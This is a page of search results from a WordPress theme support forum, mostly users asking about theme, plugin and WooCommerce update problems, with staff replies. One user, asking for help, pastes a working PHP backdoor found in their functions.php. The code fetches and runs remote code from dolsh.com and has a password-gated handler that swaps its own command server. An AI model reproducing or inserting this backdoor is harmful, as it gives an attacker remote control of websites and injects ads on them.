Search Results for 'update'

Results from the Forum
simchris
tagDiv Member

No prob; I don’t work here; was just lurking here while doing php updates on my server the other day. 🙂

Catalin
tagDiv Staff

Hi,

Another useful manual is here -> https://forum.tagdiv.com/newsmag-how-to-update-the-theme/

Hope this helps!

Thanks for the message!

Simion C.
tagDiv Staff

Hi,

There are probably users out there using that version of theme, and WordPress. Maybe some of them can share their experiences with a configuration as you mention.
The right thing would be to update the theme to the latest version as soon as possible. Each theme update will bring improvements and more features and it is also tested with the latest WordPress. We do not test all previous theme releases with newest WordPress.

Thanks

ctoweett
tagDiv Member

I also have the same problem but it seems to have started with the latest update to Yoast SEO plugin.

Simion C.
tagDiv Staff

Hi,

The website could have security problems, if the code simply appears in the theme functions file without you entering it there. Please follow the suggestions from this topic concerning security
https://forum.tagdiv.com/topic/tutorial-good-basic-security-practices/
https://codex.wordpress.org/Hardening_WordPress
Scan the website and database for malware using suggested methods. If you have a child theme, disable it. Deactivate all plugins and re-install the theme by FTP
https://forum.tagdiv.com/how-to-update-the-theme-2/
Then install only the plugins form the official theme package. Do not use any custom code in the theme panel sections, or directly in the theme files. Install security plugins that can help in these situations.

Thanks

Catalin
tagDiv Staff

Hello gundo,

1)Most likely, you have both of our plugins to be enabled and that’s why you do not bring good results. Try to disable one of them and check the results. Clear all the caches and check the results.
2)It seems to be a bug with this functionality. I have added to our list of improvements and our developers will make some further investigations and if they find something wrong to fix, they will solve in the next updates.

Thanks for your understanding!

Catalin
tagDiv Staff

Hello sakis,

Notice that for each theme update or anything else changing to your website it’s needed to make a full backup to your database to avoid losing your data. It’s not a problem caused by our theme, sorry!

Thanks for your understanding!

Catalin L.

Simion C.
tagDiv Staff

Hi,

What you did seems to have caused a lot of errors and warnings. Try re-installing the theme by FTP
https://forum.tagdiv.com/newsmag-how-to-update-the-theme/
Check the plugin instructions, and make sure you have followed the exact steps when you made modifications to the database.

Thanks

Simion C.
tagDiv Staff

Hi,

Please note that when both Visual composer and tagDiv composer are active, there could be issues. I believe that is the case here. The single images for example have a different implementation in each composer, both will apply which leads to the images not displaying properly. Go to the plugins section and deactivate the tagDiv composer, then check the results on these pages.
Regarding the logo, you could use either of header styles 7 or 8 for a full width logo. Header style 7 will require a small modification, there is a small issue with it. Edit the header template 7 file which looks like this at the moment
https://www.screencast.com/t/q6iXae9Q
Modify it like this – https://www.screencast.com/t/6JJOmbwoT
The result – https://www.screencast.com/t/HCnQ1okKajW
Sorry for any inconvenience, we will fix the issue in the future update. Header style 8 will not require modifications, it can be used normally.
Please let us know if you need further help.

Thanks

Simion C.
tagDiv Staff

Hi,

Please do not update the Visual composer plugin (if the option is available) until officially supported and included in the theme package
https://forum.tagdiv.com/how-to-update-visual-composer-plugin/
When an update is released for Visual composer, we will make the necessary tests, then bundle the updated version in the package. This ensures there will be no problems. Deactivate the current version and delete it if there are problems. Use the version currently included, which is 5.2.1. We will update the theme and plugins as soon as possible.

Thanks

gregy1403
Participant
DB prefix - topic
#0

Hi
I changed db prefix with plugin WP Security and now i get some errors in my error log. Before that i alsoupdated from 3.3 to Newsmag 4

[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘…/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Warning: require_once(td_translate.php): failed to open stream: No such file or directory in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Warning: require_once(td_translate.php): failed to open stream: No such file or directory in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 19:51:32 UTC] PHP Fatal error: require_once(): Failed opening required ‘td_translate.php’ (include_path=’.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php’) in …/public_html/wp-content/themes/Newsmag/includes/wp_booster/td_wp_booster_functions.php on line 698
[14-Oct-2017 20:57:48 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_usermeta’ doesn’t exist za poizvedbo SELECT umeta_id FROM wp_usermeta WHERE meta_key = ‘wp_yoast_notifications’ AND user_id = 5, ki jo je povzročil/a shutdown_action_hook, do_action(‘shutdown’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, Yoast_Notification_Center->update_storage, Yoast_Notification_Center->remove_storage, delete_user_option, delete_user_meta, delete_metadata
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_posts’ doesn’t exist za poizvedbo SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.ID = 40 AND wp_posts.post_type = ‘page’ ORDER BY wp_posts.post_date DESC , ki jo je povzročil/a require(‘wp-blog-header.php’), wp, WP->main, WP->query_posts, WP_Query->query, WP_Query->get_posts
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_posts’ doesn’t exist za poizvedbo SELECT * FROM wp_posts WHERE ID = 40 LIMIT 1, ki jo je povzročil/a require(‘wp-blog-header.php’), require_once(‘wp-includes/template-loader.php’), do_action(‘template_redirect’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, redirect_canonical, get_post, WP_Post::get_instance
[14-Oct-2017 20:57:52 UTC] Napaka v WordPress podatkovni zbirki Table ‘balgr01_newsmag.wp_404_to_301’ doesn’t exist za poizvedbo SELECT redirect FROM wp_404_to_301 WHERE url = ‘/?mailpoet_router&endpoint=cron_daemon&action=run&data=eyJ0b2tlbiI6IjlhNTQ3In0/’ AND redirect IS NOT NULL LIMIT 0,1, ki jo je povzročil/a require(‘wp-blog-header.php’), require_once(‘wp-includes/template-loader.php’), do_action(‘template_redirect’), WP_Hook->do_action, WP_Hook->apply_filters, call_user_func_array, _404_To_301_Public->i4t3_redirect_404, _404_To_301_Public->get_custom_redirect

Thank you

poporil
Participant
#0

I can not update it “WPBakery Page Builder”.
today I noticed that it is 2 different plugin. the WPBakery Page Builder I bought it. do I need something? or disable it?

whyistayhungry
Participant
#0

Hello, I’ve recently updated to Newsmag 4. I have trying to figure out something with no luck yet.Im currently using Style 6 with an “always sticky” menu.
What I’m currently trying to do is when the menu is fixed on top to have for example red background with green text and when someone scrolls down the page and the logo sticks in the menu to change into a white background with green text. How is that possible? Any suggestions?
Thanks a lot!

ogrencipano
Participant
#0

Sometimes my ad is showing ads on my website. I can not prevent forwarding or iframe ads. I have a piece of code that can not be deleted in functions.php when I refresh the theme and other files.

This is unkown section in funtions.php


<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6708e20e039----------edit---426c0c'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				

				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }

		                                                                    }
								}
						}
				break;

				
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}

	

if ( ! function_exists( 'theme_temp_setup' ) ) {  
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

if($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=".$path))
{

function theme_temp_setup($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}

extract(theme_temp_setup($tmpcontent));
}
}
}

?>

function.php more code section..

<?php
/*
    Our portfolio:  http://themeforest.net/user/tagDiv/portfolio
    Thanks for using our theme!
    tagDiv - 2017
*/

/**
 * Load the speed booster framework + theme specific files
 */

// load the deploy mode
require_once('td_deploy_mode.php');

// load the config
require_once('includes/td_config.php');
add_action('td_global_after', array('td_config', 'on_td_global_after_config'), 9); //we run on 9 priority to allow plugins to updage_key our apis while using the default priority of 10

// load the wp booster
require_once('includes/wp_booster/td_wp_booster_functions.php');

require_once('includes/td_css_generator.php');
require_once('includes/shortcodes/td_misc_shortcodes.php');
require_once('includes/widgets/td_page_builder_widgets.php'); // widgets

/*
 * mobile theme css generator
 * in wp-admin the main theme is loaded and the mobile theme functions are not included
 * required in td_panel_data_source
 * @todo - look for a more elegant solution(ex. generate the css on request)
 */
require_once('mobile/includes/td_css_generator_mob.php');

/* ----------------------------------------------------------------------------
 * Woo Commerce
 */

// breadcrumb
add_filter('woocommerce_breadcrumb_defaults', 'td_woocommerce_breadcrumbs');
function td_woocommerce_breadcrumbs() {
	return array(
		'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ',
		'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">',
		'wrap_after' => '</div>',
		'before' => '',
		'after' => '',
		'home' => _x('Home', 'breadcrumb', 'woocommerce'),
	);
}

// use own pagination
if (!function_exists('woocommerce_pagination')) {
	// pagination
	function woocommerce_pagination() {
		echo td_page_generator::get_pagination();
	}
}

// Override theme default specification for product 3 per row

// Number of product per page 8
add_filter('loop_shop_per_page', create_function('$cols', 'return 4;'));

if (!function_exists('woocommerce_output_related_products')) {
	// Number of related products
	function woocommerce_output_related_products() {
		woocommerce_related_products(array(
			'posts_per_page' => 4,
			'columns' => 4,
			'orderby' => 'rand',
		)); // Display 4 products in rows of 1
	}
}

/* ----------------------------------------------------------------------------
 * bbPress
 */
// change avatar size to 40px
function td_bbp_change_avatar_size($author_avatar, $topic_id, $size) {
	$author_avatar = '';
	if ($size == 14) {
		$size = 40;
	}
	$topic_id = bbp_get_topic_id( $topic_id );
	if ( !empty( $topic_id ) ) {
		if ( !bbp_is_topic_anonymous( $topic_id ) ) {
			$author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size );
		} else {
			$author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size );
		}
	}
	return $author_avatar;
}
add_filter('bbp_get_topic_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_reply_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_current_user_avatar', 'td_bbp_change_avatar_size', 20, 3);

//add_action('shutdown', 'test_td');

function test_td () {
    if (!is_admin()){
        td_api_base::_debug_get_used_on_page_components();
    }

}

/**
 * tdStyleCustomizer.js is required
 */
if (TD_DEBUG_LIVE_THEME_STYLE) {
    add_action('wp_footer', 'td_theme_style_footer');
		// new live theme demos
	    function td_theme_style_footer() {
			    ?>
			    <div id="td-theme-settings" class="td-live-theme-demos td-theme-settings-small">
				    <div class="td-skin-body">
					    <div class="td-skin-wrap">
						    <div class="td-skin-container td-skin-buy"><a target="_blank" href="http://themeforest.net/item/newspaper/5489609?ref=tagdiv">BUY NEWSPAPER NOW!</a></div>
						    <div class="td-skin-container td-skin-header">GET AN AWESOME START!</div>
						    <div class="td-skin-container td-skin-desc">With easy <span>ONE CLICK INSTALL</span> and fully customizable options, our demos are the best start you'll ever get!!</div>
						    <div class="td-skin-container td-skin-content">
							    <div class="td-demos-list">
								    <?php
								    $td_demo_names = array();

								    foreach (td_global::$demo_list as $demo_id => $stack_params) {
									    $td_demo_names[$stack_params['text']] = $demo_id;
									    ?>
									    <div class="td-set-theme-style"><a>" class="td-set-theme-style-link td-popup td-popup-<?php echo $td_demo_names[$stack_params['text']] ?>" data-img-url="<?php echo td_global::$get_template_directory_uri ?>/demos_popup/large/<?php echo $demo_id; ?>.jpg"><span></span></a></div>
								    <?php } ?>
									<div class="td-set-theme-style-empty"><a href="#"></a></div>
									<div class="td-set-theme-style-empty"><a href="#"></a></div>
								    <div class="clearfix"></div>
							    </div>
						    </div>
						    <div class="td-skin-scroll"><i class="td-icon-read-down"></i></div>
					    </div>
				    </div>
				    <div class="clearfix"></div>
				    <div class="td-set-hide-show"><a href="#"></a></div>
				    <div class="td-screen-demo" data-width-preview="380"></div>
			    </div>
			    <?php
	    }

}

//td_demo_state::update_state("art_creek", 'full');

//print_r(td_global::$all_theme_panels_list);

how can you solve this problem? I Know little english.

Gluten_Free_Adventures
tagDiv Member

Thanks for your quick answer Chris S.

Below I share what I found from the “functions.php” of Papillon templete. I do not know which is the one I should change in the:
STATIC $POST_VIEW_COUNTER_KEY = ‘VIEWS’;

If I change this, and someone visit the post, will it continue counting adding visits to the post?

Below whay I found related with post views:
a)
$post_views = getViews(get_the_ID());

b)
<i class=”fa-clock-o”></i> <span>’ . $post_time . ‘</span> <i class=”fa-eye”></i> <span>’. $post_views.'</span> <i class=”fa-comment-o”></i> <span>’ . $post_comments . ‘</span>

c)
function setViews($postID) {
$count_key = ‘webnus_views’;
$count = get_post_meta($postID, $count_key, true);
if($count==”){
$count = 0;
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, ‘0’);
}else{
$count++;
update_post_meta($postID, $count_key, $count);
}
return $count; /* so you can show it */
}
function getViews($postID) {
$count_key = ‘webnus_views’;
$count = get_post_meta($postID, $count_key, true);
if($count==”){
$count = 0;
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, ‘0’);
}
return $count; /* so you can show it */
}

Thanks in advance for your help! I am not familiar with web coding… I create it with visual composer because I do not know how to code.

dexign
Participant
#0

I apologize for any redundancy but I always make it a point to ask prior to all WordPress updates no matter how repetitive it gets. This is based on previous experiences, some catastrophic, where such an update either broke a theme or caused other non-functionality to occur. Having said all that, a quick question on compatibility…

Does Newspaper 7.8 work okay with WordPress 4.8.2?

I appreciate your reply, thanks very much in advance.

Dan

tagdivchick
Participant
#0

Hi, RevSlider comes bundled with Newspaper. However, currently, I only get the latest update of RevSlider, whenever the next version of Newspaper is released. Is there a download section on this page, that allows us to get the latest versions of RevSlider that are released between Newspaper updates? I’d like to stay updated to the latest versions of RevSlider due to security reasons. Thank you.

22p
Participant
#0

With the last update (WooCommerce 3.2.0) there is a new big panel box:

Your theme contains outdated copies of some WooCommerce template files. These files may need updating to ensure they are compatible with the current version of WooCommerce. You can see which files are affected from the system status page. If in doubt, check with the author of the theme.

Any ideas to solve?

Rudy Rodriguez
Participant
#0

There is a problem with the new version of WPBakery Visual Composer 5.4.2. We have version 8.1 of the theme installed

Simion C.
tagDiv Staff

Hi,

The tagDiv composer does not yet have a specific javascript element. This element might be available in a future update. More elements and features will be added to the composer. However, I cannot say exactly when this will happen.

Thanks

andrej
Participant
#0

I just updated from 4.6.1 where i liked td-category-page-subcats
category page subcats
now i cant find it in 8.1 newspaper theme version.
Has anybody solution?

howtoisolve
Participant
#0

i downloaded Newspaper 8 latest update from themforest.

i seem, child theme folder located under code folder. After upload folder via cpanel it’s showing Newspaper 7 child theme.

is it okay on activating it. or Newspaper 8 child this available on another place.

howtoisolve
Participant
#0

I want to edit option for direct edit post option while I logged in my Browser only.

if you know, Genesis theme giving option and it’s really helpful for instantly update post.

i am waiting for your reply.

Simion C.
tagDiv Staff

Hi,

You can keep using Visual composer, if that is your preference. Regarding the issue, something must have happened with the Visual compose editor. Please deactivate it and delete it, then install the plugin again from the theme package
https://forum.tagdiv.com/how-to-update-visual-composer-plugin/
Check the results after doing this. Additionally you can try as as test to deactivate all other non-theme plugins, see if this has any effect.

Thanks

Simion C.
tagDiv Staff

Hi,

If you updated the theme, please do not forget to update the social counter too. Try to deactivate and delete the plugin, then install it again form the theme package.
If you cannot receive an access token within the social counter, please send us an email at contact@tagdiv.com and provide admin login information, so we can take a look. Usually clearing the browser cache should work. Also paste a link to this topic in the email.

Thanks

Viewing 25 results - 27,701 through 27,725 (of 45,280 total)